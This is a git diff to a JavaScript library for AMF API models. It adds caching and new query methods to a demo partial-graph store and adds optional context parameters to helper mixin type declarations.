index cd14fe8..b47fd05 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -15,6 +15,9 @@ import './ApiStyles.js';
 /** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListbox */
 /** @typedef {import('../../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 /** @typedef {import('../../src/events/ReportingEvents').ReportingErrorEventDetail} ReportingErrorEventDetail */
+/** @typedef {import('../../').AmfStore} AmfStore */
+/** @typedef {import('../../').AmfStoreDomEventsMixin} AmfStoreDomEventsMixin */
+/** @typedef {import('../../').InMemAmfGraphStore} InMemAmfGraphStore */
 
 const routes = [
   {
@@ -40,6 +43,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
   constructor() {
     super();
     this.initObservableProperties(["initialized", "loaded", 'selectedFile']);
+    /** @type {AmfStore & AmfStoreDomEventsMixin} */
     this.store = new DomEventsAmfStore(window);
     this.store.listen();
 
@@ -180,7 +184,8 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
       [data] = data;
     }
     this.amf = data;
-    this.store.amf = data;
+    
+    /** @type DomEventsAmfStore */ (this.store).amf = data;
     this.loaded = true;
   }
 
diff --git a/demo/lib/AmfPartialGraphStore.js b/demo/lib/AmfPartialGraphStore.js
index 9e00e2e..718accf 100644
--- a/demo/lib/AmfPartialGraphStore.js
+++ b/demo/lib/AmfPartialGraphStore.js
@@ -1,5 +1,6 @@
+/* eslint-disable max-classes-per-file */
 /* eslint-disable no-param-reassign */
-import { AmfStoreDomEventsMixin, AmfStore } from '../../index.js';
+import { AmfStoreDomEventsMixin, AmfStore, AmfSerializer, AmfHelperMixin, ns } from '../../index.js';
 import { AmfPartialModel } from './AmfPartialModel.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
@@ -7,31 +8,92 @@ import { AmfPartialModel } from './AmfPartialModel.js';
 /** @typedef {import('../../src/helpers/api').ApiEndPoint} ApiEndPoint */
 /** @typedef {import('../../src/helpers/api').ApiOperation} ApiOperation */
 /** @typedef {import('../../src/helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../../src/helpers/api').ServersQueryOptions} ServersQueryOptions */
+/** @typedef {import('../../src/helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../../src/helpers/api').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('../../src/helpers/api').ApiSecurityScheme} ApiSecurityScheme */
+/** @typedef {import('../../src/types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
+/** @typedef {import('../../src/types').ApiSecuritySchemeListItem} ApiSecuritySchemeListItem */
+/** @typedef {import('../../src/types').ApiNodeShapeListItem} ApiNodeShapeListItem */
+/** @typedef {import('../../src/types').DocumentMeta} DocumentMeta */
 
+class AmfHelper extends AmfHelperMixin(Object) {}
+
+/**
+ * This is a demo class that represents how a store can be implemented that serves the AMF model
+ * in parts from a backend.
+ * 
+ * In here we use `AmfPartialModel` class but in a real-life scenario this class could be a connector
+ * to an HTTP service.
+ */
 export class AmfPartialGraphStore extends AmfStoreDomEventsMixin(AmfStore) {
   /**
    * @param {EventTarget=} eventsTarget The event target to dispatch the events on.
    * @param {AmfDocument=} graph The full API model.
    */
   constructor(eventsTarget=window, graph) {
-    super(eventsTarget, graph);
-    this.partial = new AmfPartialModel(graph);
+    super();
+    this.target = eventsTarget;
+    let amf = graph;
+    if (Array.isArray(graph)) {
+      [amf] = graph;
+    }
+    /** 
+     * The API serializer
+     */
+    this.serializer = new AmfSerializer(amf);
+    this.partial = new AmfPartialModel(amf);
+
+    this.cache = {};
+  }
+
+  /** @returns AmfDocument */
+  get amf() {
+    return this.partial.amf;
+  }
+
+  /** @param {AmfDocument} graph */
+  set amf(graph) {
+    let amf = graph;
+    if (Array.isArray(graph)) {
+      [amf] = graph;
+    }
+    this.cache = {};
+    this.partial.amf = amf;
   }
 
   /**
-   * @param {AmfDocument} amf
+   * Gathers information about the loaded document.
+   * This is mainly used by the `api-documentation` element to decide which documentation to render.
+   * 
+   * @returns {Promise<DocumentMeta>}
    */
-  __amfChanged(amf) {
-    this.partial.amf = amf;
-    super.__amfChanged(amf);
+  async documentMeta() {
+    if (this.cache.documentMeta) {
+      return this.cache.documentMeta;
+    }
+    const meta = this.partial.documentMeta();
+    this.cache.documentMeta = meta;
+    return meta;
   }
 
   /**
    * @returns {Promise<ApiSummary>} The API base definition 
    */
   async apiSummary() {
+    if (this.cache.summary) {
+      return this.cache.summary;
+    }
     const model = this.partial.summaryPartial();
-    return this.serializer.apiSummary(model);
+    if (!model) {
+      return undefined;
+    }
+    const helper = new AmfHelper();
+    helper.amf = model;
+    const wa = helper._computeApi(model);
+    const result = this.serializer.apiSummary(wa);
+    this.cache.summary = result;
+    return result;
   }
 
   /**
@@ -40,8 +102,16 @@ export class AmfPartialGraphStore extends AmfStoreDomEventsMixin(AmfStore) {
    * @returns {Promise<ApiEndPoint|null>} 
    */
   async getEndpoint(id) {
+    if (this.cache[id]) {
+      return this.cache[id];
+    }
     const model = this.partial.endpoint(id);
-    return this.serializer.endPoint(model);
+    const result = this.serializer.endPoint(model, model['@context']);
+    this.cache[id] = result;
+    result.operations.forEach((op) => {
+      this.cache[op.id] = op;
+    });
+    return result;
   }
 
   /**
@@ -51,12 +121,16 @@ export class AmfPartialGraphStore extends AmfStoreDomEventsMixin(AmfStore) {
    * @returns {Promise<ApiOperation>}
    */
   async getOperation(operationId, endpointId) {
+    if (this.cache[operationId]) {
+      return this.cache[operationId];
+    }
     const model = this.partial.endpoint(endpointId);
     if (!model) {
       return undefined;
     }
-    const endpoint = this.serializer.endPoint(model);
+    const endpoint = this.serializer.endPoint(model, model['@context']);
     const op = endpoint.operations.find(i => i.id === operationId);
+    this.cache[operationId] = op;
     return op;
   }
 
@@ -66,11 +140,16 @@ export class AmfPartialGraphStore extends AmfStoreDomEventsMixin(AmfStore) {
    * @returns {Promise<ApiEndPoint|undefined>}
    */
   async getOperationParent(id) {
+    if (this.cache[id]) {
+      return this.cache[id];
+    }
     const model = this.partial.partialOperationEndpoint(id);
     if (!model) {
       return undefined;
     }
-    return this.serializer.endPoint(model);
+    const result = this.serializer.endPoint(model, model['@context']);
+    this.cache[id] = result;
+    return result;
   }
 
   /**
@@ -78,10 +157,143 @@ export class AmfPartialGraphStore extends AmfStoreDomEventsMixin(AmfStore) {
    * @returns {Promise<ApiShapeUnion>}
    */
   async getType(domainId) {
+    if (this.cache[domainId]) {
+      return this.cache[domainId];
+    }
     const model = this.partial.schema(domainId);
     if (!model) {
       return undefined;
     }
-    return this.serializer.unknownShape(model);
+    const result = this.serializer.unknownShape(model, undefined, model['@context']);
+    this.cache[domainId] = result;
+    return result;
+  }
+
+  /**
+   * Queries for the list of servers for method, if defined, or endpoint, if defined, or root level 
+   * @param {ServersQueryOptions=} query Server query options
+   * @returns {Promise<ApiServer[]>} The list of servers for given query.
+   */
+  async queryServers(query={}) {
+    const key = `queryServers${JSON.stringify(query)}`;
+    if (this.cache[key]) {
+      return this.cache[key];
+    }
+    const model = this.partial.summaryPartial();
+    if (!model) {
+      return [];
+    }
+    const helper = new AmfHelper();
+    helper.amf = model;
+    const servers = helper._getServers(query, model['@context']);
+    if (!Array.isArray(servers)) {
+      return [];
+    }
+    const result = servers.map(s => this.serializer.server(s, model['@context']));
+    this.cache[key] = result;
+    return result;
+  }
+
+  /**
+   * @returns {Promise<string[]|null>} Currently loaded API's protocols
+   */
+  async apiProtocols() {
+    if (this.cache.protocols) {
+      return this.cache.protocols;
+    }
+    const model = this.partial.summaryPartial();
+    if (!model) {
+      return null;
+    }
+    const helper = new AmfHelper();
+    helper.amf = model;
+    const wa = helper._computeApi(model, model['@context']);
+    if (!wa) {
+      return [];
+    }
+    const protocols = /** @type string[] */ (helper._getValueArray(wa, ns.aml.vocabularies.apiContract.scheme));
+    this.cache.protocols = protocols;
+    return protocols;
+  }
+
+  /**
+   * @returns {Promise<string|null>} Currently loaded API's version
+   */
+  async apiVersion() {
+    if (this.cache.version) {
+      return this.cache.version;
+    }
+    const model = this.partial.summaryPartial();
+    if (!model) {
+      return null;
+    }
+    const helper = new AmfHelper();
+    helper.amf = model;
+    const version = helper._computeApiVersion(model, model['@context']);
+    this.cache.version = version;
+    return version;
+  }
+
+  /**
+   * Lists all endpoints with operations included into the result.
+   * @returns {Promise<ApiEndPointWithOperationsListItem[]>}
+   */
+  async listEndpointsWithOperations() {
+    if (this.cache.endpointsListWithOperation) {
+      return this.cache.endpointsListWithOperation;
+    }
+    const model = this.partial.summaryPartial();
+    if (!model) {
+      return null;
+    }
+    const helper = new AmfHelper();
+    helper.amf = model;
+    const api = helper._computeApi(model, model['@context']);
+    if (!api) {
+      return [];
+    }
+    const endpoints = helper._computeEndpoints(api, model['@context']);
+    if (!Array.isArray(endpoints) || !endpoints.length) {
+      return [];
+    }
+    const result = endpoints.map((ep) => this.serializer.endPointWithOperationsListItem(ep, model['@context']));
+    this.cache.endpointsListWithOperation = result;
+    return result;
+  }
+
+  /**
+   * Reads the documentation object from the store.
+   * @param {string} id The domain id of the documentation object
+   * @returns {Promise<ApiDocumentation|undefined>} The read documentation.
+   */
+  async getDocumentation(id) {
+    if (this.cache[id]) {
+      return this.cache[id];
+    }
+    const creative = this.partial.partialDocumentation(id);
+    if (!creative) {
+      return undefined;
+    }
+    const result = this.serializer.documentation(creative, creative['@context']);
+    this.cache[id] = result;
+    return result;
+  }
+
+  /**
+   * Reads the SecurityScheme object from the graph.
+   * @param {string} id The domain id of the SecurityScheme
+   * @returns {Promise<ApiSecurityScheme>}
+   */
+  async getSecurityScheme(id) {
+    if (this.cache[id]) {
+      return this.cache[id];
+    }
+    const model = this.partial.partialSecurityScheme(id);
+    if (!model) {
+      throw new Error(`No SecurityRequirement for ${id}`);
+    }
+    const result = this.serializer.securityScheme(model, model['@context']);
+    this.cache[id] = result;
+    return result;
   }
 }
diff --git a/demo/lib/AmfPartialModel.js b/demo/lib/AmfPartialModel.js
index 2ddbb3a..0028796 100644
--- a/demo/lib/AmfPartialModel.js
+++ b/demo/lib/AmfPartialModel.js
@@ -1,13 +1,21 @@
 /* eslint-disable no-param-reassign */
 import { AmfHelperMixin } from '../../index.js';
+import { expandKey } from '../../src/helpers/AmfHelperMixin.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../../src/helpers/amf').Api} Api */
 /** @typedef {import('../../src/helpers/amf').EndPoint} EndPoint */
 /** @typedef {import('../../src/helpers/amf').Operation} Operation */
-/** @typedef {import('../../src/helpers/api').ApiSummary} ApiSummary */
+/** @typedef {import('../../src/helpers/amf').CreativeWork} CreativeWork */
+/** @typedef {import('../../src/helpers/amf').SecurityScheme} SecurityScheme */
+/** @typedef {import('../../src/types').DocumentMeta} DocumentMeta */
 
+/**
+ * A demo class that pretends to be a server for a partial model.
+ * Instead, it takes the AMF graph model and on demand splits it into 
+ * parts, like the AMF service do.
+ */
 export class AmfPartialModel extends AmfHelperMixin(Object) {
   /**
    * @param {AmfDocument} amf
@@ -17,6 +25,59 @@ export class AmfPartialModel extends AmfHelperMixin(Object) {
     super.__amfChanged(amf);
   }
 
+  /**
+   * @param {string[]} types The list of graph object types. When not defined it returns an empty array.
+   * @returns {string[]} The expanded types.
+   */
+  readTypes(types) {
+    let target = types;
+    if (typeof target === 'string') {
+      target = [target];
+    }
+    if (!Array.isArray(target)) {
+      return [];
+    }
+    return target.map(this[expandKey].bind(this));
+  }
+
+  /**
+   * Gathers information about the loaded document.
+   * This is mainly used by the `api-documentation` element to decide which documentation to render.
+   * 
+   * @returns {DocumentMeta}
+   */
+  documentMeta() {
+    const summary = this.summaryPartial();
+    const result = /** @type DocumentMeta */ ({
+      isApi: false,
+      isAsync: false,
+      isFragment: false,
+      isLibrary: false,
+      types: this.readTypes(summary['@type']),
+      encodesId: undefined,
+    });
+    if (!summary) {
+      return result;
+    }
+    const api = this._computeApi(summary, summary['@context']);
+    const isApi = !!api;
+    result.isApi = isApi;
+    const { ns } = this;
+    if (isApi) {
+      result.isAsync = this._isAsyncAPI(summary);
+    } else if (result.types[0] === ns.aml.vocabularies.document.Module) {
+      result.isLibrary = true;
+    } else {
+      const fragmentTypes = [
+        ns.aml.vocabularies.security.SecuritySchemeFragment,
+        ns.aml.vocabularies.apiContract.UserDocumentationFragment,
+        ns.aml.vocabularies.shapes.DataTypeFragment,
+      ];
+      result.isFragment = fragmentTypes.some(type => result.types.includes(type));
+    }
+    return result;
+  }
+
   /** @returns AmfDocument */
   summaryPartial() {
     const { amf, ns } = this;
@@ -339,20 +400,20 @@ export class AmfPartialModel extends AmfHelperMixin(Object) {
    */
   endpoint(domainId) {
     const { context } = this;
-    const webApi = this._computeApi(this.amf);
-    const ep = this._computeEndpointModel(webApi, domainId);
+    const webApi = this._computeApi(this.amf, context);
+    const ep = this._computeEndpointModel(webApi, domainId, context);
     if (!ep) {
       return undefined;
     }
     const result = { ...ep };
     const { ns } = this;
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const operationsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.supportedOperation);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources, context);
+    const operationsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.supportedOperation, context);
     const sm = this.sourceMap(result[smKey]);
     if (sm) {
       result[smKey] = sm;
     }
-    const srvKey = this._getAmfKey(ns.aml.vocabularies.apiContract.server);
+    const srvKey = this._getAmfKey(ns.aml.vocabularies.apiContract.server, context);
     const servers = webApi[srvKey];
     if (!Array.isArray(result[srvKey]) || !result[srvKey].length && servers) {
       result[srvKey] = [...servers];
@@ -531,11 +592,54 @@ export class AmfPartialModel extends AmfHelperMixin(Object) {
    * @returns {DomainElement|undefined} Model definition for a type.
    */
   partialOperationEndpoint(domainId) {
-    const api = this._computeApi(this.amf);
-    const endpoint = this._computeMethodEndpoint(api, domainId);
+    const { context } = this;
+    const api = this._computeApi(this.amf, context);
+    const endpoint = this._computeMethodEndpoint(api, domainId, context);
     if (!endpoint) {
       return undefined;
     }
     return this.endpoint(endpoint['@id']);
   }
+
+  /**
+   * Reads the documentation object from the store.
+   * @param {string} id The domain id of the documentation object
+   * @returns {CreativeWork|undefined} The read documentation.
+   */
+  partialDocumentation(id) {
+    const { context } = this;
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const api = this._computeApi(amf, context);
+    if (!api) {
+      return undefined;
+    }
+    const creative = this._computeDocument(api, id, context);
+    if (!creative) {
+      throw new Error(`Documentation ${id} does not exist.`);
+    }
+    if (context) {
+      creative['@context'] = context;
+    }
+    return creative;
+  }
+
+  /**
+   * Reads the SecurityScheme object from the graph.
+   * @param {string} id The domain id of the SecurityScheme
+   * @returns {SecurityScheme}
+   */
+  partialSecurityScheme(id) {
+    const object = this.findSecurityScheme(id);
+    if (!object) {
+      throw new Error(`No SecurityRequirement for ${id}`);
+    }
+    const { context } = this;
+    if (context) {
+      object['@context'] = context;
+    }
+    return object;
+  }
 }
diff --git a/index.d.ts b/index.d.ts
index 24b7da6..6cfb803 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -45,3 +45,4 @@ export { TelemetryCustomMetric, TelemetryCustomValue, TelemetryDetail, Telemetry
 export { DomEventsAmfStore } from './src/store/DomEventsAmfStore';
 export { AmfStore } from './src/store/AmfStore';
 export { AmfStoreDomEventsMixin } from './src/store/mixins/AmfStoreDomEventsMixin';
+export { InMemAmfGraphStore } from './src/store/InMemAmfGraphStore';
diff --git a/index.js b/index.js
index e67147a..0094df0 100644
--- a/index.js
+++ b/index.js
@@ -38,3 +38,4 @@ export { ApiSchemaGenerator } from './src/schema/ApiSchemaGenerator.js';
 export { DomEventsAmfStore } from './src/store/DomEventsAmfStore.js';
 export { AmfStore } from './src/store/AmfStore.js';
 export { AmfStoreDomEventsMixin } from './src/store/mixins/AmfStoreDomEventsMixin.js';
+export { InMemAmfGraphStore } from './src/store/InMemAmfGraphStore.js';
diff --git a/src/helpers/AmfHelperMixin.d.ts b/src/helpers/AmfHelperMixin.d.ts
index 492fb85..1da362d 100644
--- a/src/helpers/AmfHelperMixin.d.ts
+++ b/src/helpers/AmfHelperMixin.d.ts
@@ -54,10 +54,11 @@ interface AmfHelperMixin {
    * Returns compact model key for given value.
    *
    * @param property AMF original property
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Compact model property name or the same value if
    * value not found in the context.
    */
-  _getAmfKey(property: string|undefined): string|undefined;
+  _getAmfKey(property: string|undefined, context?: Record<string, string>): string|undefined;
 
   /**
    * Ensures that the model is AMF object.
@@ -92,132 +93,148 @@ interface AmfHelperMixin {
    *
    * @param model Amf model to extract the value from.
    * @param key Model key to search for the value
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Value for key
    */
-  _getValue(model: DomainElement, key: string): string|number|boolean|undefined|null;
+  _getValue(model: DomainElement, key: string, context?: Record<string, string>): string|number|boolean|undefined|null;
 
   /**
    * Gets values from a model as an array of `@value` properties.
    *
    * @param model Amf model to extract the value from.
    * @param key Model key to search for the value
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Value for key
    */
-  _getValueArray(model: DomainElement, key: string): Array<string|number|boolean|null>|undefined;
+  _getValueArray(model: DomainElement, key: string, context?: Record<string, string>): Array<string|number|boolean|null>|undefined;
 
   /**
    * Reads an array from the model.
    * 
    * @param model Amf model to extract the value from.
    * @param key Model key to search for the value
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Value for the key
    */
-  [getArrayItems](model: DomainElement, key: string): DomainElement[]|undefined;
+  [getArrayItems](model: DomainElement, key: string, context?: Record<string, string>): DomainElement[]|undefined;
 
   /**
    * Reads the value of the `@id` property.
    * @param model Amf model to extract the value from.
    * @param key Model key to search for the @id
+   * @param context A context to use. If not set, it looks for the context of the passed model
    */
-  _getLinkValue(model: DomainElement, key: string): string|undefined;
+  _getLinkValue(model: DomainElement, key: string, context?: Record<string, string>): string|undefined;
 
   /**
    * Reads the list of value for the `@id` property.
    * @param model Amf model to extract the value from.
    * @param key Model key to search for the `@id`
+   * @param context A context to use. If not set, it looks for the context of the passed model
    */
-  _getLinkValues(model: DomainElement, key: string): string[]|undefined;
+  _getLinkValues(model: DomainElement, key: string, context?: Record<string, string>): string[]|undefined;
 
   /**
    * Checks if a model has a type.
    *
    * @param model Model to test
    * @param type Type name
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns True if model has a type.
    */
-  _hasType(model: DomainElement, type: string): boolean|null;
+  _hasType(model: DomainElement, type: string, context?: Record<string, string>): boolean|null;
 
   /**
    * Checks if a shape has a property.
    *
    * @param shape The shape to test
    * @param key Property name to test
+   * @param context A context to use. If not set, it looks for the context of the passed model
    */
-  _hasProperty(shape: DomainElement, key: string): boolean|null;
+  _hasProperty(shape: DomainElement, key: string, context?: Record<string, string>): boolean|null;
 
   /**
    * Computes array value of a property in a model (shape).
    *
    * @param shape AMF shape object
    * @param key Property name
+   * @param context A context to use. If not set, it looks for the context of the passed model
    */
-  _computePropertyArray(shape: DomainElement, key: string): Array<string|number|boolean|null|Object>|undefined;
+  _computePropertyArray(shape: DomainElement, key: string, context?: Record<string, string>): Array<string|number|boolean|null|Object>|undefined;
 
   /**
    * Computes API version from the AMF model.
    */
-  _computeApiVersion(amf: AmfDocument): string|undefined;
+  _computeApiVersion(amf: AmfDocument, context?: Record<string, string>): string|undefined;
 
   /**
    * Computes model's `encodes` property.
    *
    * @param model AMF data model
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns List of encodes
    */
-  _computeEncodes(model: AmfDocument): Api|undefined;
+  _computeEncodes(model: AmfDocument, context?: Record<string, string>): Api|undefined;
 
   /**
    * Computes list of declarations in the AMF api model.
    *
    * @param model AMF json/ld model for an API
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns List of declarations
    */
-  _computeDeclares(model: AmfDocument): DomainElement[]|undefined;
+  _computeDeclares(model: AmfDocument, context?: Record<string, string>): DomainElement[]|undefined;
 
   /**
    * Computes list of references in the AMF api model.
    *
    * @param model AMF json/ld model for an API
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns List of declarations
    */
-  _computeReferences(model: AmfDocument): DomainElement[]|undefined;
+  _computeReferences(model: AmfDocument, context?: Record<string, string>): DomainElement[]|undefined;
 
   /**
    * Computes AMF's `http://schema.org/WebAPI` model
    *
    * @param model AMF json/ld model for an API
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Web API declaration.
    */
-  _computeWebApi(model: AmfDocument): WebApi|undefined;
+  _computeWebApi(model: AmfDocument, context?: Record<string, string>): WebApi|undefined;
 
   /**
    * Computes AMF's `http://schema.org/API` model
    *
    * @param model AMF json/ld model for an API
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @return The API declaration.
    */
-  _computeApi(model: AmfDocument): AsyncApi|WebApi;
+  _computeApi(model: AmfDocument, context?: Record<string, string>): AsyncApi|WebApi;
 
   /**
    * Returns whether an AMF node is a WebAPI node
    * 
    * @param model  AMF json/ld model for an API
+   * @param context A context to use. If not set, it looks for the context of the passed model
    */
-  _isWebAPI(model: AmfDocument): boolean;
+  _isWebAPI(model: AmfDocument, context?: Record<string, string>): boolean;
 
   /**
    * Returns whether an AMF node is an AsyncAPI node
    * 
    * @param model  AMF json/ld model for an API
+   * @param context A context to use. If not set, it looks for the context of the passed model
    */
-  _isAsyncAPI(model: AmfDocument): boolean;
+  _isAsyncAPI(model: AmfDocument, context?: Record<string, string>): boolean;
 
   /**
    * Returns whether an AMF node is an API node
    * 
    * @param model  AMF json/ld model for an API
+   * @param context A context to use. If not set, it looks for the context of the passed model
    */
-  _isAPI(model: AmfDocument): boolean;
+  _isAPI(model: AmfDocument, context?: Record<string, string>): boolean;
 
   /**
    * Determines whether a partial model is valid for reading servers from
@@ -225,55 +242,62 @@ interface AmfHelperMixin {
    * - Operation
    * - Endpoint
    * @param model The partial model to evaluate
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Whether the model's type is part of the array of valid node types from which to read servers
    */
-  _isValidServerPartial(model: any): boolean;
+  _isValidServerPartial(model: any, context?: Record<string, string>): boolean;
 
   /**
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns List of servers for method, if defined, or endpoint, if defined, or root level
    */
-  _getServers(opts?: ServersQueryOptions): Server[]|undefined;
+  _getServers(opts?: ServersQueryOptions, context?: Record<string, string>): Server[]|undefined;
 
   /**
    * Computes value for the `expects` property.
    *
    * @param method AMF `supportedOperation` model
+   * @param context A context to use. If not set, it looks for the context of the passed model
    */
-  _computeExpects(method: Operation): Request|undefined;
+  _computeExpects(method: Operation, context?: Record<string, string>): Request|undefined;
 
   /**
    * Computes list of endpoints from a WebApi model.
    *
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Always returns an array of endpoints.
    */
-  _computeEndpoints(webApi: WebApi): EndPoint[]|undefined;
+  _computeEndpoints(webApi: WebApi, context?: Record<string, string>): EndPoint[]|undefined;
 
   /**
    * Computes model for an endpoint documentation.
    *
    * @param webApi Current value of `webApi` property
    * @param id Selected shape ID
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns An endpoint definition
    */
-  _computeEndpointModel(webApi: WebApi, id: string): EndPoint|undefined;
+  _computeEndpointModel(webApi: WebApi, id: string, context?: Record<string, string>): EndPoint|undefined;
 
   /**
    * Computes method for the method documentation.
    *
    * @param webApi Current value of `webApi` property
    * @param selected Selected shape
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns A method definition
    */
-  _computeMethodModel(webApi: WebApi, selected: string): Operation|undefined;
+  _computeMethodModel(webApi: WebApi, selected: string, context?: Record<string, string>): Operation|undefined;
 
   /**
    * Computes an endpoint for a method.
    *
    * @param webApi The WebApi AMF model
    * @param methodId Method id
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns An endpoint model of undefined.
    */
-  _computeMethodEndpoint(webApi: WebApi, methodId: string): EndPoint|undefined;
+  _computeMethodEndpoint(webApi: WebApi, methodId: string, context?: Record<string, string>): EndPoint|undefined;
 
   /**
    * Computes a list of methods for an endpoint that contains a method with
@@ -281,9 +305,10 @@ interface AmfHelperMixin {
    *
    * @param webApi WebApi model
    * @param methodId Method id.
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns A list of sibling methods or undefined.
    */
-  __computeMethodsListForMethod(webApi: WebApi, methodId: string): Operation[]|undefined;
+  __computeMethodsListForMethod(webApi: WebApi, methodId: string, context?: Record<string, string>): Operation[]|undefined;
 
   /**
    * Computes a type documentation model.
@@ -291,81 +316,90 @@ interface AmfHelperMixin {
    * @param declares Current value of `declares` property
    * @param references Current value of `references` property
    * @param selected Selected shape
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns A type definition
    */
-  _computeType(declares: DomainElement[], references: DomainElement[], selected: string): Shape|undefined;
+  _computeType(declares: DomainElement[], references: DomainElement[], selected: string, context?: Record<string, string>): Shape|undefined;
 
   /**
    * Finds a type in the model declares and references.
    * @param domainId The domain id of the type (AMF's shape).
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns The AMF shape or undefined when not found.
    */
-  [findAmfType](domainId?: string): Shape|undefined;
+  [findAmfType](domainId?: string, context?: Record<string, string>): Shape|undefined;
 
   /**
    * Searches for an object in model's references list.
    * It does not resolve the object (useful for handling links correctly).
    * 
    * @param domainId The domain of the object to find in the references.
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns The domain object or undefined.
    */
-  [findReferenceObject](domainId?: string): DomainElement|undefined;
+  [findReferenceObject](domainId?: string, context?: Record<string, string>): DomainElement|undefined;
 
   /**
    * Computes a type model from a reference (library for example).
    *
    * @param reference AMF model for a reference to extract the data from
    * @param selected Node ID to look for
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Type definition or undefined if not found.
    */
-  _computeReferenceType(reference: DomainElement, selected: string): Shape|undefined;
+  _computeReferenceType(reference: DomainElement, selected: string, context?: Record<string, string>): Shape|undefined;
 
   /**
    * Computes a documentation model.
    *
    * @param webApi Current value of `webApi` property
    * @param selected Selected shape
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns A method definition
    */
-  _computeDocument(webApi: WebApi, selected: string): DomainElement|undefined;
+  _computeDocument(webApi: WebApi, selected: string, context?: Record<string, string>): DomainElement|undefined;
 
   /**
    * Resolves a reference to an external fragment.
    *
    * @param shape A shape to resolve
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Resolved shape.
    */
-  _resolve<T>(shape: T): T;
-  _getLinkTarget(amf: AmfDocument, id: string): DomainElement|undefined;
+  _resolve<T>(shape: T, context?: Record<string, string>): T;
+  _getLinkTarget(amf: AmfDocument, id: string, context?: Record<string, string>): DomainElement|undefined;
 
   /**
    * Resolves the shape of a given reference.
    *
    * @param references References object to search in
    * @param id Id of the shape to resolve
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Resolved shape for given reference, undefined otherwise
    */
-  _obtainShapeFromReferences(references: DomainElement[], id: string): DomainElement|undefined;
+  _obtainShapeFromReferences(references: DomainElement[], id: string, context?: Record<string, string>): DomainElement|undefined;
 
   /**
    * Searches a node with a given ID in an array
    *
    * @param array Array to search for a given ID
    * @param id Id to search for
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Node with the given ID when found, undefined otherwise
    */
   _findById(array: DomainElement[], id: string): DomainElement|undefined;
-  _getReferenceId(amf: AmfDocument, id: string): DomainElement|undefined;
-  _resolveRecursive<T>(shape: T): T;
+  _getReferenceId(amf: AmfDocument, id: string, context?: Record<string, string>): DomainElement|undefined;
+  _resolveRecursive<T>(shape: T, context?: Record<string, string>): T;
 
   /**
    * Merge two shapes together. If the resulting shape has one of the "special merge" keys,
    * then the special merge function for that key will be used to match that property
    * @param shapeA AMF node
    * @param shapeB AMF node
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Merged AMF node
    */
-  _mergeShapes(shapeA: any, shapeB: any): any;
+  _mergeShapes(shapeA: any, shapeB: any, context?: Record<string, string>): any;
 
   /**
    * Obtains source map sources value from two shapes and returns the merged result
@@ -373,28 +407,32 @@ interface AmfHelperMixin {
    * Result is wrapped in an array as per AMF model standard
    * @param AMF node
    * @param AMF node
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Empty object or resulting merge, wrapped in an array
    */
-  _mergeSourceMapsSources(shapeA: any, shapeB: any): any[];
+  _mergeSourceMapsSources(shapeA: any, shapeB: any, context?: Record<string, string>): any[];
 
   /**
    * Expands the key property from compacted mode to full mode.
    * @param value The value to process
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns The expanded value.
    */
-  [expandKey](value: string): string;
+  [expandKey](value: string, context?: Record<string, string>): string;
   /**
    * Computes a security model from a reference (library for example).
    * @param domainId Domain id of the security requirement to find.
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Type definition or undefined if not found.
    */
-  findSecurityScheme(domainId: string): SecurityScheme|undefined;
+  findSecurityScheme(domainId: string, context?: Record<string, string>): SecurityScheme|undefined;
 
   /**
    * Computes a security model from a reference (library for example).
    * @param reference AMF model for a reference to extract the data from
    * @param selected Node ID to look for
+   * @param context A context to use. If not set, it looks for the context of the passed model
    * @returns Type definition or undefined if not found.
    */
-  [computeReferenceSecurity](reference: DomainElement, selected: string): SecurityScheme|undefined;
+  [computeReferenceSecurity](reference: DomainElement, selected: string, context?: Record<string, string>): SecurityScheme|undefined;
 }
